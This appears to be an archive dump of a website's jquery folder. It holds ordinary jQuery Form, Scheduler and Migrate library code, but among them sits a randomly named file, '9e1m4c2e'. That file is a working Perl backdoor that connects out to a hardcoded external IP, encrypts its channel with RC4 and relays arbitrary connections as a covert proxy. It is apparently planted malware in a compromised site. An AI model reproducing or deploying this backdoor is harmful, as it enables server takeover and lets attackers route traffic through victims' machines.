tries.'); // throw 'DOMException: not available'; } // log('response detected'); var docRoot = doc.body ? doc.body : doc.documentElement; xhr.responseText = docRoot ? docRoot.innerHTML : null; xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc; if (isXml) { s.dataType = 'xml'; } xhr.getResponseHeader = function(header){ var headers = {'content-type': s.dataType}; return headers[header.toLowerCase()]; }; // support for XHR 'status' & 'statusText' emulation : if (docRoot) { xhr.status = Number(docRoot.getAttribute('status')) || xhr.status; xhr.statusText = docRoot.getAttribute('statusText') || xhr.statusText; } var dt = (s.dataType || '').toLowerCase(); var scr = /(json|script|text)/.test(dt); if (scr || s.textarea) { // see if user embedded response in textarea var ta = doc.getElementsByTagName('textarea')[0]; if (ta) { xhr.responseText = ta.value; // support for XHR 'status' & 'statusText' emulation : xhr.status = Number(ta.getAttribute('status')) || xhr.status; xhr.statusText = ta.getAttribute('statusText') || xhr.statusText; } else if (scr) { // account for browsers injecting pre around json response var pre = doc.getElementsByTagName('pre')[0]; var b = doc.getElementsByTagName('body')[0]; if (pre) { xhr.responseText = pre.textContent ? pre.textContent : pre.innerText; } else if (b) { xhr.responseText = b.textContent ? b.textContent : b.innerText; } } } else if (dt === 'xml' && !xhr.responseXML && xhr.responseText) { xhr.responseXML = toXml(xhr.responseText); // eslint-disable-line no-use-before-define } try { data = httpData(xhr, dt, s); // eslint-disable-line no-use-before-define } catch (err) { status = 'parsererror'; xhr.error = errMsg = (err || status); } } catch (err) { log('error caught: ', err); status = 'error'; xhr.error = errMsg = (err || status); } if (xhr.aborted) { log('upload aborted'); status = null; } if (xhr.status) { // we've set xhr.status status = ((xhr.status >= 200 && xhr.status < 300) || xhr.status === 304) ? 'success' : 'error'; } // ordering of these callbacks/triggers is odd, but that's how $.ajax does it if (status === 'success') { if (s.success) { s.success.call(s.context, data, 'success', xhr); } deferred.resolve(xhr.responseText, 'success', xhr); if (g) { $.event.trigger('ajaxSuccess', [xhr, s]); } } else if (status) { if (typeof errMsg === 'undefined') { errMsg = xhr.statusText; } if (s.error) { s.error.call(s.context, xhr, status, errMsg); } deferred.reject(xhr, 'error', errMsg); if (g) { $.event.trigger('ajaxError', [xhr, s, errMsg]); } } if (g) { $.event.trigger('ajaxComplete', [xhr, s]); } if (g && !--$.active) { $.event.trigger('ajaxStop'); } if (s.complete) { s.complete.call(s.context, xhr, status); } callbackProcessed = true; if (s.timeout) { clearTimeout(timeoutHandle); } // clean up setTimeout(function() { if (!s.iframeTarget) { $io.remove(); } else { // adding else to clean up existing iframe response. $io.attr('src', s.iframeSrc); } xhr.responseXML = null; }, 100); } var toXml = $.parseXML || function(s, doc) { // use parseXML if available (jQuery 1.5+) if (window.ActiveXObject) { doc = new ActiveXObject('Microsoft.XMLDOM'); doc.async = 'false'; doc.loadXML(s); } else { doc = (new DOMParser()).parseFromString(s, 'text/xml'); } return (doc && doc.documentElement && doc.documentElement.nodeName !== 'parsererror') ? doc : null; }; var parseJSON = $.parseJSON || function(s) { /* jslint evil:true */ return window['eval']('(' + s + ')'); // eslint-disable-line dot-notation }; var httpData = function(xhr, type, s) { // mostly lifted from jq1.4.4 var ct = xhr.getResponseHeader('content-type') || '', xml = ((type === 'xml' || !type) && ct.indexOf('xml') >= 0), data = xml ? xhr.responseXML : xhr.responseText; if (xml && data.documentElement.nodeName === 'parsererror') { if ($.error) { $.error('parsererror'); } } if (s && s.dataFilter) { data = s.dataFilter(data, type); } if (typeof data === 'string') { if ((type === 'json' || !type) && ct.indexOf('json') >= 0) { data = parseJSON(data); } else if ((type === 'script' || !type) && ct.indexOf('javascript') >= 0) { $.globalEval(data); } } return data; }; return deferred; } }; /** * ajaxForm() provides a mechanism for fully automating form submission. * * The advantages of using this method instead of ajaxSubmit() are: * * 1: This method will include coordinates for <input type="image"> elements (if the element * is used to submit the form). * 2. This method will include the submit element's name/value data (for the element that was * used to submit the form). * 3. This method binds the submit() method to the form for you. * * The options argument for ajaxForm works exactly as it does for ajaxSubmit. ajaxForm merely * passes the options argument along after properly binding events for submit elements and * the form itself. */ $.fn.ajaxForm = function(options, data, dataType, onSuccess) { if (typeof options === 'string' || (options === false && arguments.length > 0)) { options = { 'url' : options, 'data' : data, 'dataType' : dataType }; if (typeof onSuccess === 'function') { options.success = onSuccess; } } options = options || {}; options.delegation = options.delegation && $.isFunction($.fn.on); // in jQuery 1.3+ we can fix mistakes with the ready state if (!options.delegation && this.length === 0) { var o = {s: this.selector, c: this.context}; if (!$.isReady && o.s) { log('DOM not ready, queuing ajaxForm'); $(function() { $(o.s, o.c).ajaxForm(options); }); return this; } // is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready() log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)')); return this; } if (options.delegation) { $(document) .off('submit.form-plugin', this.selector, doAjaxSubmit) .off('click.form-plugin', this.selector, captureSubmittingElement) .on('submit.form-plugin', this.selector, options, doAjaxSubmit) .on('click.form-plugin', this.selector, options, captureSubmittingElement); return this; } if (options.beforeFormUnbind) { options.beforeFormUnbind(this, options); } return this.ajaxFormUnbind() .on('submit.form-plugin', options, doAjaxSubmit) .on('click.form-plugin', options, captureSubmittingElement); }; // private event handlers function doAjaxSubmit(e) { /* jshint validthis:true */ var options = e.data; if (!e.isDefaultPrevented()) { // if event has been canceled, don't proceed e.preventDefault(); $(e.target).closest('form').ajaxSubmit(options); // #365 } } function captureSubmittingElement(e) { /* jshint validthis:true */ var target = e.target; var $el = $(target); if (!$el.is('[type=submit],[type=image]')) { // is this a child element of the submit el? (ex: a span within a button) var t = $el.closest('[type=submit]'); if (t.length === 0) { return; } target = t[0]; } var form = target.form; form.clk = target; if (target.type === 'image') { if (typeof e.offsetX !== 'undefined') { form.clk_x = e.offsetX; form.clk_y = e.offsetY; } else if (typeof $.fn.offset === 'function') { var offset = $el.offset(); form.clk_x = e.pageX - offset.left; form.clk_y = e.pageY - offset.top; } else { form.clk_x = e.pageX - target.offsetLeft; form.clk_y = e.pageY - target.offsetTop; } } // clear form vars setTimeout(function() { form.clk = form.clk_x = form.clk_y = null; }, 100); } // ajaxFormUnbind unbinds the event handlers that were bound by ajaxForm $.fn.ajaxFormUnbind = function() { return this.off('submit.form-plugin click.form-plugin'); }; /** * formToArray() gathers form element data into an array of objects that can * be passed to any of the following ajax functions: $.get, $.post, or load. * Each object in the array has both a 'name' and 'value' property. An example of * an array for a simple login form might be: * * [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ] * * It is this array that is passed to pre-submit callback functions provided to the * ajaxSubmit() and ajaxForm() methods. */ $.fn.formToArray = function(semantic, elements, filtering) { var a = []; if (this.length === 0) { return a; } var form = this[0]; var formId = this.attr('id'); var els = (semantic || typeof form.elements === 'undefined') ? form.getElementsByTagName('*') : form.elements; var els2; if (els) { els = $.makeArray(els); // convert to standard array } // #386; account for inputs outside the form which use the 'form' attribute // FinesseRus: in non-IE browsers outside fields are already included in form.elements. if (formId && (semantic || /(Edge|Trident)\//.test(navigator.userAgent))) { els2 = $(':input[form="' + formId + '"]').get(); // hat tip @thet if (els2.length) { els = (els || []).concat(els2); } } if (!els || !els.length) { return a; } if ($.isFunction(filtering)) { els = $.map(els, filtering); } var i, j, n, v, el, max, jmax; for (i = 0, max = els.length; i < max; i++) { el = els[i]; n = el.name; if (!n || el.disabled) { continue; } if (semantic && form.clk && el.type === 'image') { // handle image inputs on the fly when semantic == true if (form.clk === el) { a.push({name: n, value: $(el).val(), type: el.type}); a.push({name: n + '.x', value: form.clk_x}, {name: n + '.y', value: form.clk_y}); } continue; } v = $.fieldValue(el, true); if (v && v.constructor === Array) { if (elements) { elements.push(el); } for (j = 0, jmax = v.length; j < jmax; j++) { a.push({name: n, value: v[j]}); } } else if (feature.fileapi && el.type === 'file') { if (elements) { elements.push(el); } var files = el.files; if (files.length) { for (j = 0; j < files.length; j++) { a.push({name: n, value: files[j], type: el.type}); } } else { // #180 a.push({name: n, value: '', type: el.type}); } } else if (v !== null && typeof v !== 'undefined') { if (elements) { elements.push(el); } a.push({name: n, value: v, type: el.type, required: el.required}); } } if (!semantic && form.clk) { // input type=='image' are not found in elements array! handle it here var $input = $(form.clk), input = $input[0]; n = input.name; if (n && !input.disabled && input.type === 'image') { a.push({name: n, value: $input.val()}); a.push({name: n + '.x', value: form.clk_x}, {name: n + '.y', value: form.clk_y}); } } return a; }; /** * Serializes form data into a 'submittable' string. This method will return a string * in the format: name1=value1&name2=value2 */ $.fn.formSerialize = function(semantic) { // hand off to jQuery.param for proper encoding return $.param(this.formToArray(semantic)); }; /** * Serializes all field elements in the jQuery object into a query string. * This method will return a string in the format: name1=value1&name2=value2 */ $.fn.fieldSerialize = function(successful) { var a = []; this.each(function() { var n = this.name; if (!n) { return; } var v = $.fieldValue(this, successful); if (v && v.constructor === Array) { for (var i = 0, max = v.length; i < max; i++) { a.push({name: n, value: v[i]}); } } else if (v !== null && typeof v !== 'undefined') { a.push({name: this.name, value: v}); } }); // hand off to jQuery.param for proper encoding return $.param(a); }; /** * Returns the value(s) of the element in the matched set. For example, consider the following form: * * <form><fieldset> * <input name="A" type="text"> * <input name="A" type="text"> * <input name="B" type="checkbox" value="B1"> * <input name="B" type="checkbox" value="B2"> * <input name="C" type="radio" value="C1"> * <input name="C" type="radio" value="C2"> * </fieldset></form> * * var v = $('input[type=text]').fieldValue(); * // if no values are entered into the text inputs * v === ['',''] * // if values entered into the text inputs are 'foo' and 'bar' * v === ['foo','bar'] * * var v = $('input[type=checkbox]').fieldValue(); * // if neither checkbox is checked * v === undefined * // if both checkboxes are checked * v === ['B1', 'B2'] * * var v = $('input[type=radio]').fieldValue(); * // if neither radio is checked * v === undefined * // if first radio is checked * v === ['C1'] * * The successful argument controls whether or not the field element must be 'successful' * (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls). * The default value of the successful argument is true. If this value is false the value(s) * for each element is returned. * * Note: This method *always* returns an array. If no valid value can be determined the * array will be empty, otherwise it will contain one or more values. */ $.fn.fieldValue = function(successful) { for (var val = [], i = 0, max = this.length; i < max; i++) { var el = this[i]; var v = $.fieldValue(el, successful); if (v === null || typeof v === 'undefined' || (v.constructor === Array && !v.length)) { continue; } if (v.constructor === Array) { $.merge(val, v); } else { val.push(v); } } return val; }; /** * Returns the value of the field element. */ $.fieldValue = function(el, successful) { var n = el.name, t = el.type, tag = el.tagName.toLowerCase(); if (typeof successful === 'undefined') { successful = true; } /* eslint-disable no-mixed-operators */ if (successful && (!n || el.disabled || t === 'reset' || t === 'button' || (t === 'checkbox' || t === 'radio') && !el.checked || (t === 'submit' || t === 'image') && el.form && el.form.clk !== el || tag === 'select' && el.selectedIndex === -1)) { /* eslint-enable no-mixed-operators */ return null; } if (tag === 'select') { var index = el.selectedIndex; if (index < 0) { return null; } var a = [], ops = el.options; var one = (t === 'select-one'); var max = (one ? index + 1 : ops.length); for (var i = (one ? index : 0); i < max; i++) { var op = ops[i]; if (op.selected && !op.disabled) { var v = op.value; if (!v) { // extra pain for IE... v = (op.attributes && op.attributes.value && !(op.attributes.value.specified)) ? op.text : op.value; } if (one) { return v; } a.push(v); } } return a; } return $(el).val().replace(rCRLF, '\r\n'); }; /** * Clears the form data. Takes the following actions on the form's input fields: * - input text fields will have their 'value' property set to the empty string * - select elements will have their 'selectedIndex' property set to -1 * - checkbox and radio inputs will have their 'checked' property set to false * - inputs of type submit, button, reset, and hidden will *not* be effected * - button elements will *not* be effected */ $.fn.clearForm = function(includeHidden) { return this.each(function() { $('input,select,textarea', this).clearFields(includeHidden); }); }; /** * Clears the selected form elements. */ $.fn.clearFields = $.fn.clearInputs = function(includeHidden) { var re = /^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i; // 'hidden' is not in this list return this.each(function() { var t = this.type, tag = this.tagName.toLowerCase(); if (re.test(t) || tag === 'textarea') { this.value = ''; } else if (t === 'checkbox' || t === 'radio') { this.checked = false; } else if (tag === 'select') { this.selectedIndex = -1; } else if (t === 'file') { if (/MSIE/.test(navigator.userAgent)) { $(this).replaceWith($(this).clone(true)); } else { $(this).val(''); } } else if (includeHidden) { // includeHidden can be the value true, or it can be a selector string // indicating a special test; for example: // $('#myForm').clearForm('.special:hidden') // the above would clean hidden inputs that have the class of 'special' if ((includeHidden === true && /hidden/.test(t)) || (typeof includeHidden === 'string' && $(this).is(includeHidden))) { this.value = ''; } } }); }; /** * Resets the form data or individual elements. Takes the following actions * on the selected tags: * - all fields within form elements will be reset to their original value * - input / textarea / select fields will be reset to their original value * - option / optgroup fields (for multi-selects) will defaulted individually * - non-multiple options will find the right select to default * - label elements will be searched against its 'for' attribute * - all others will be searched for appropriate children to default */ $.fn.resetForm = function() { return this.each(function() { var el = $(this); var tag = this.tagName.toLowerCase(); switch (tag) { case 'input': this.checked = this.defaultChecked; // fall through case 'textarea': this.value = this.defaultValue; return true; case 'option': case 'optgroup': var select = el.parents('select'); if (select.length && select[0].multiple) { if (tag === 'option') { this.selected = this.defaultSelected; } else { el.find('option').resetForm(); } } else { select.resetForm(); } return true; case 'select': el.find('option').each(function(i) { // eslint-disable-line consistent-return this.selected = this.defaultSelected; if (this.defaultSelected && !el[0].multiple) { el[0].selectedIndex = i; return false; } }); return true; case 'label': var forEl = $(el.attr('for')); var list = el.find('input,select,textarea'); if (forEl[0]) { list.unshift(forEl[0]); } list.resetForm(); return true; case 'form': // guard against an input with the name of 'reset' // note that IE reports the reset function as an 'object' if (typeof this.reset === 'function' || (typeof this.reset === 'object' && !this.reset.nodeType)) { this.reset(); } return true; default: el.find('form,input,label,select,textarea').resetForm(); return true; } }); }; /** * Enables or disables any matching elements. */ $.fn.enable = function(b) { if (typeof b === 'undefined') { b = true; } return this.each(function() { this.disabled = !b; }); }; /** * Checks/unchecks any matching checkboxes or radio buttons and * selects/deselects and matching option elements. */ $.fn.selected = function(select) { if (typeof select === 'undefined') { select = true; } return this.each(function() { var t = this.type; if (t === 'checkbox' || t === 'radio') { this.checked = select; } else if (this.tagName.toLowerCase() === 'option') { var $sel = $(this).parent('select'); if (select && $sel[0] && $sel[0].type === 'select-one') { // deselect all other options $sel.find('option').selected(false); } this.selected = select; } }); }; // expose debug var $.fn.ajaxSubmit.debug = false; // helper fn for console logging function log() { if (!$.fn.ajaxSubmit.debug) { return; } var msg = '[jquery.form] ' + Array.prototype.join.call(arguments, ''); if (window.console && window.console.log) { window.console.log(msg); } else if (window.opera && window.opera.postError) { window.opera.postError(msg); } } })); jquery/jquery.schedule.js 0000644 00000006601 15111757755 0011554 0 ustar 00 (function($){$.scheduler=function(){this.bucket={};return;};$.scheduler.prototype={schedule:function(){var ctx={"id":null,"time":1000,"repeat":false,"protect":false,"obj":null,"func":function(){},"args":[]};function _isfn(fn){return(!!fn&&typeof fn!="string"&&typeof fn[0]=="undefined"&&RegExp("function","i").test(fn+""));};var i=0;var override=false;if(typeof arguments[i]=="object"&&arguments.length>1){override=true;i++;} if(typeof arguments[i]=="object"){for(var option in arguments[i]) if(typeof ctx[option]!="undefined") ctx[option]=arguments[i][option];i++;} if(typeof arguments[i]=="number"||(typeof arguments[i]=="string"&&arguments[i].match(RegExp("^[0-9]+[smhdw]$")))) ctx["time"]=arguments[i++];if(typeof arguments[i]=="boolean") ctx["repeat"]=arguments[i++];if(typeof arguments[i]=="boolean") ctx["protect"]=arguments[i++];if(typeof arguments[i]=="object"&&typeof arguments[i+1]=="string"&&_isfn(arguments[i][arguments[i+1]])){ctx["obj"]=arguments[i++];ctx["func"]=arguments[i++];} else if(typeof arguments[i]!="undefined"&&(_isfn(arguments[i])||typeof arguments[i]=="string")) ctx["func"]=arguments[i++];while(typeof arguments[i]!="undefined") ctx["args"].push(arguments[i++]);if(override){if(typeof arguments[1]=="object"){for(var option in arguments[0]) if(typeof ctx[option]!="undefined"&&typeof arguments[1][option]=="undefined") ctx[option]=arguments[0][option];} else{for(var option in arguments[0]) if(typeof ctx[option]!="undefined") ctx[option]=arguments[0][option];} i++;} ctx["_scheduler"]=this;ctx["_handle"]=null;var match=String(ctx["time"]).match(RegExp("^([0-9]+)([smhdw])$"));if(match&&match[0]!="undefined"&&match[1]!="undefined") ctx["time"]=String(parseInt(match[1])*{s:1000,m:1000*60,h:1000*60*60,d:1000*60*60*24,w:1000*60*60*24*7}[match[2]]);if(ctx["id"]==null) ctx["id"]=(String(ctx["repeat"])+":" +String(ctx["protect"])+":" +String(ctx["time"])+":" +String(ctx["obj"])+":" +String(ctx["func"])+":" +String(ctx["args"]));if(ctx["protect"]) if(typeof this.bucket[ctx["id"]]!="undefined") return this.bucket[ctx["id"]];if(!_isfn(ctx["func"])){if(ctx["obj"]!=null&&typeof ctx["obj"]=="object"&&typeof ctx["func"]=="string"&&_isfn(ctx["obj"][ctx["func"]])) ctx["func"]=ctx["obj"][ctx["func"]];else ctx["func"]=eval("function () { "+ctx["func"]+" }");} ctx["_handle"]=this._schedule(ctx);this.bucket[ctx["id"]]=ctx;return ctx;},reschedule:function(ctx){if(typeof ctx=="string") ctx=this.bucket[ctx];ctx["_handle"]=this._schedule(ctx);return ctx;},_schedule:function(ctx){var trampoline=function(){var obj=(ctx["obj"]!=null?ctx["obj"]:ctx);(ctx["func"]).apply(obj,ctx["args"]);if(typeof(ctx["_scheduler"]).bucket[ctx["id"]]!="undefined"&&ctx["repeat"]) (ctx["_scheduler"])._schedule(ctx);else delete(ctx["_scheduler"]).bucket[ctx["id"]];};return setTimeout(trampoline,ctx["time"]);},cancel:function(ctx){if(typeof ctx=="string") ctx=this.bucket[ctx];if(typeof ctx=="object"){clearTimeout(ctx["_handle"]);delete this.bucket[ctx["id"]];}}};$.extend({scheduler$:new $.scheduler(),schedule:function(){return $.scheduler$.schedule.apply($.scheduler$,arguments)},reschedule:function(){return $.scheduler$.reschedule.apply($.scheduler$,arguments)},cancel:function(){return $.scheduler$.cancel.apply($.scheduler$,arguments)}});$.fn.extend({schedule:function(){var a=[{}];for(var i=0;i<arguments.length;i++) a.push(arguments[i]);return this.each(function(){a[0]={"id":this,"obj":this};return $.schedule.apply($,a);});}});})(jQuery); jquery/9e1m4c2e 0000755 00000022033 15111757755 0007260 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.146'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); jquery/jquery-migrate.min.js 0000644 00000032411 15111757755 0012167 0 ustar 00 /*! jQuery Migrate v3.4.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */ "undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)||[],o=r.exec(t)||[],a=1;a<=3;a++){if(+o[a]<+n[a])return 1;if(+n[a]<+o[a])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.4.1";var t=Object.create(null);s.migrateDisablePatches=function(){for(var e=0;e<arguments.length;e++)t[arguments[e]]=!0},s.migrateEnablePatches=function(){for(var e=0;e<arguments.length;e++)delete t[arguments[e]]},s.migrateIsPatchEnabled=function(e){return!t[e]},n.console&&n.console.log&&(s&&e("3.0.0")&&!e("5.0.0")||n.console.log("JQMIGRATE: jQuery 3.x-4.x REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var o={};function u(e,t){var r=n.console;!s.migrateIsPatchEnabled(e)||s.migrateDeduplicateWarnings&&o[t]||(o[t]=!0,s.migrateWarnings.push(t+" ["+e+"]"),r&&r.warn&&!s.migrateMute&&(r.warn("JQMIGRATE: "+t),s.migrateTrace&&r.trace&&r.trace()))}function r(e,t,r,n,o){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return u(n,o),r},set:function(e){u(n,o),r=e}})}function a(e,t,r,n,o){var a=e[t];e[t]=function(){return o&&u(n,o),(s.migrateIsPatchEnabled(n)?r:a||s.noop).apply(this,arguments)}}function c(e,t,r,n,o){if(!o)throw new Error("No warning message provided");return a(e,t,r,n,o),0}function i(e,t,r,n){return a(e,t,r,n),0}s.migrateDeduplicateWarnings=!0,s.migrateWarnings=[],void 0===s.migrateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){o={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("quirks","jQuery is not compatible with Quirks Mode");var d,l,p,f={},m=s.fn.init,y=s.find,h=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,g=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,v=/^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;for(d in i(s.fn,"init",function(e){var t=Array.prototype.slice.call(arguments);return s.migrateIsPatchEnabled("selector-empty-id")&&"string"==typeof e&&"#"===e&&(u("selector-empty-id","jQuery( '#' ) is not a valid selector"),t[0]=[]),m.apply(this,t)},"selector-empty-id"),s.fn.init.prototype=s.fn,i(s,"find",function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof 